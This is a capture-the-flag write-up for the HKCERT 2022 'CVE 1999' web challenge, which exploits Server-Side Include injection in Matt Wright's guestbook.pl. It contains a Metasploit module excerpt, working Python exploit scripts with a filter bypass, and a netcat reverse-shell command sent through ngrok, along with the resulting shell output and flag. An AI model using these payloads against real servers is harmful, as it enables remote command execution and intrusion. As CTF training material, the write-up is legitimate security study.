CVE 1999
Overview
-
Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
-
Challenge difficulty: ★★☆☆☆
Background
Old news is so existing
Web: http://chal-a.hkcert22.pwnable.hk:28229/~matt/guestbook.html , http://chal-b.hkcert22.pwnable.hk:28229/~matt/guestbook.html
Remark: The guestbook will be cleaned up per minute
Find the flag
Home page:
In here, we can see this is a guestbook which created by Matt Wright.
addguest.html:
Also, we can send a POST request to /~matt/cgi-bin/guestbook.pl
.
Let’s use searchsploit
to see is there any public exploits!
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# searchsploit Matt Wright Guestbook
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
Matt Wright Guestbook 2.3.1 - Guestbook.pl Multiple HTML Injection Vulne | cgi/webapps/27594.txt
The Matt Wright Guestbook.pl - Arbitrary Command Execution (Metasploit) | cgi/webapps/16914.rb
The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include | cgi/webapps/9907.rb
------------------------------------------------------------------------- ---------------------------------
Looks like it’s vulnerable to Server-Side Include (SSI)!
We can use searchsploit -m
to mirror the exploit script:
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# searchsploit -m 16914
Snipped 16914.rb
exploit script:
def exploit
realname = rand_text_alphanumeric(20)
email = rand_text_alphanumeric(20)
city = rand_text_alphanumeric(20)
state = rand_text_alphanumeric(20)
country = rand_text_alphanumeric(20)
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
req1 = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
}, 25)
req2 = send_request_raw({
'uri' => datastore['URIOUT'],
}, 25)
end
Hmm… Looks like the <!--#exec cmd="payload_here"
is the payload!
Let’s write a simple python script to automate that!
#!/usr/bin/env python3
import requests
import string
import random
import sys
import urllib.parse
def main(payload):
url = 'http://chal-a.hkcert22.pwnable.hk:28229/~matt/'
payload = sys.argv[1]
data = {
'realname': ''.join(random.choices(string.ascii_letters, k=20)),
'username': ''.join(random.choices(string.ascii_letters, k=20)),
'url': ''.join(random.choices(string.ascii_letters, k=20)),
'city': ''.join(random.choices(string.ascii_letters, k=20)),
'state': ''.join(random.choices(string.ascii_letters, k=20)),
'country': ''.join(random.choices(string.ascii_letters, k=20)),
'comments': payload
}
requests.post(url + 'cgi-bin/guestbook.pl', data=data)
#requests.get(url + 'guestbook.html')
if __name__ == '__main__':
if len(sys.argv) > 1:
payload = sys.argv[1]
main(payload)
else:
print(f'Usage: {sys.argv[0]} <payload>')
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# python3 chal_automate.py '<!--#exec cmd="/bin/ls /"'
Now, when you refresh the guessbook.html
page, you should see all the files in the target machine!
Note1: Although I get the flag, I have no idea why the exploit sometimes work, sometimes didn’t work.
Note2: After the CTF, Kaiziron said that the reason why it happens is because this:
$value =~ s/<!--(.|\n)*-->//g;
To get the payload working, we need to put
-->
on another field to close the payload.
Correct payload:
#!/usr/bin/env python3
import requests
import string
import random
import sys
import urllib.parse
def main(payload):
url = 'http://chal-a.hkcert22.pwnable.hk:28229/~matt/'
payload = sys.argv[1]
data = {
'realname': ''.join(random.choices(string.ascii_letters, k=20)),
'username': ''.join(random.choices(string.ascii_letters, k=20)),
'url': ''.join(random.choices(string.ascii_letters, k=20)),
'city': ''.join(random.choices(string.ascii_letters, k=20)),
'state': ''.join(random.choices(string.ascii_letters, k=20)),
'country': '-->',
'comments': payload
}
# Send the payload
requests.post(url + 'cgi-bin/guestbook.pl', data=data)
# Trigger the payload
requests.get(url + 'guestbook.html')
if __name__ == '__main__':
if len(sys.argv) > 1:
payload = sys.argv[1]
main(payload)
else:
print(f'Usage: {sys.argv[0]} <payload>')
- Reverse shell:
Ngrok for port forwarding:
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# ngrok tcp 1337
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ap.ngrok.io:12434 -> localhost:1337
Setup a nc
listener:
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# nc -lnvp 1337
listening on [any] 1337 ...
Send the payload:
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# python3 solve.py '<!--#exec cmd="nc 0.tcp.ap.ngrok.io 12434 -e /bin/bash"'
┌──(root🌸siunam)-[~/ctf/HKCERT-CTF-2022/Web/CVE-1999]
└─# nc -lnvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59618
whoami;hostname;id
daemon
chal29-cve-1999-0
uid=1(daemon) gid=1(daemon) groups=1(daemon)
ls -lah /
[...]
-r--r--r-- 1 root root 54 Oct 30 03:53 flag
[...]
cat /flag
hkcert22{DiDu_c0opy_others_FLags_or_c0rnment_brb_Tags}
We got the flag!
Note: I also wrote a Proof-of-Concept python exploit for this CVE!
Conclusion
What we’ve learned:
- Exploiting Server-Side Include Vulnerability